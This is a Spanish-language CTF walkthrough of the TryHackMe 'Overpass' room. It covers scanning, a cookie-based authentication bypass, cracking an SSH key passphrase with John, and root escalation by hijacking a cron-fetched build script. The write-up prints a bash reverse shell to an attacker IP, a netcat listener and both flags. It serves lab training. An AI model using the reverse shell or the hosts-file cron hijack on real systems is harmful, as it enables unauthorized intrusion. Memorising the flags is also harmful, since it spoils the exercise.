Vamos con Overpass, un CTF cuyas etiquetas nos pueden dar pistas, ya que pone Owasp top 10 y cron (imagino que para escalada de privilegios).

Tenemos que conseguir bandera de usuario y administrador, en la de usuario ya nos advierte de que nada de fuerza bruta, que echemos un vistazo al Top 10 de vulnerabilidades Owasp.

Comenzamos con un escaneo mediante rustscan:

rustscan -a IP_Objetivo -- -A

Están abiertos los puertos 22 (ssh) y 80 (http).

En el código fuente hay una anotación que dice:

Yeah right, just because the Romans used it doesn’t make it military grade, change this?

Debe ser un cifrado César, que es rotando posiciones. Si observamos el código fuente, nos dice que, efectivamente, es un código César rotando 47 posiciones.

La página About us puede dar posibles usuarios: Ninja, Pars, Szymex, Bee, MuirlandOracle

Me descargo la versión para Linux del programa, a ver. No parece gran cosa, pero escaneando con gobuster:

gobuster dir -u IP_Objetivo -w /usr/share/wordlists/dirb/common.txt

Hay un directorio admin. Cuando analizamos en la consola de Firefox, es un sencillo javascript. La vulnerabilidad Owasp es una autenticación rota. La clave está aquí:

const statusOrCookie = await response.text()
    if (statusOrCookie === "Incorrect credentials") {
        loginStatus.textContent = "Incorrect Credentials"
        passwordBox.value=""
    } else {
        Cookies.set("SessionToken",statusOrCookie)
        window.location = "/admin"
    }

Si todo es correcto, mete una cookie, donde podemos poner lo que queramos en la variable statusOrCookie que no sea “Incorrect Credentials”, claro.

Para eso, en la propia consola podemos crear la cookie. Nos vamos a Storage y, en la parte izquierda, nos aseguramos de que estamos en Cookies, de manera que pulsamos el botón + para crear una. El nombre es SessionToken y el valor lo podemos dejar vacío.

Cookie para Overpass

Si refrescamos la página /admin estamos dentro.

Hay una llave ssh privada para James. La copio, la pego en un archivo id_rsa que creo para la ocasión y le doy los persmisos adecuados para que ssh no se queje:

chmod 600 id_rsa

Pero me pide una contraseña, que el administrador que ha hecho la llave para James dice que si se olvida la contraseña, la rompa él mismo. Supongo que habrá que usar a John después de todo.

Primero, me voy a ssh2john:

https://github.com/openwall/john/blob/bleeding-jumbo/run/ssh2john.py

Copio el código en un archivo ss2john.py y ejecuto.

python3 ssh2john.py id_rsa > password.txt
john password.txt

Casi enseguida saca la contraseña, james13

Pruebo de nuevo a conectar con la llave ssh y ahora estoy dentro con el usuario james.

Ya tengo la bandera de usuario, que está en su directorio.

thm{65c1aaf000506e56996822c6281e6bf7}

Ahora toca escalar privilegios. Las etiquetas de la habitación ya hacían spoiler con lo de cron, aunque leyendo otro archivo todo.txt que hay, también lo insinúa cuando habla del script automático de construcción.

Echamos un vistazo a /etc/crontab y vemos ese script de construcción.

* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash

En el /etc/hosts de la máquina, overpass.thm está puesto para 127.0.0.1 y de serie, cuando busco archivos .sh para James no me los localiza.

La cuestión es que /etc/hosts se puede escribir, así que lo que hacemos es cambiar en él hacia dónde apunta overpass.thm, que pasará de ser 127.0.0.1 a nuestra IP (en /etc/hosts no podemos especificar puerto).

IP_Ataque  overpass.thm

Ahora, creamos un archivo builscript.sh, dentro de un directorio /downloads/src en nuestra máquina con una shell inversa.

mkdir downloads
cd downloads
mkdir src
cd src
vim buildscript.sh # Y pegamos la línea de abajo adaptada a nuestra IP
bash -i >& /dev/tcp/IP_ataque/4000 0>&1
cd ..
cd ..
python3 -m http.server 80 # iniciamos servidor web en el directorio

Ahora, en otra pantalla de terminal, iniciamos un escuchador Netcat en el puerto especificado en la shell inversa.

nc -lvnp 4000

Esperamos y al minuto o así tenemos consola de administrador. Capturamos su bandera.

thm{7f336f8c359dbac18d54fdd64ea753bb}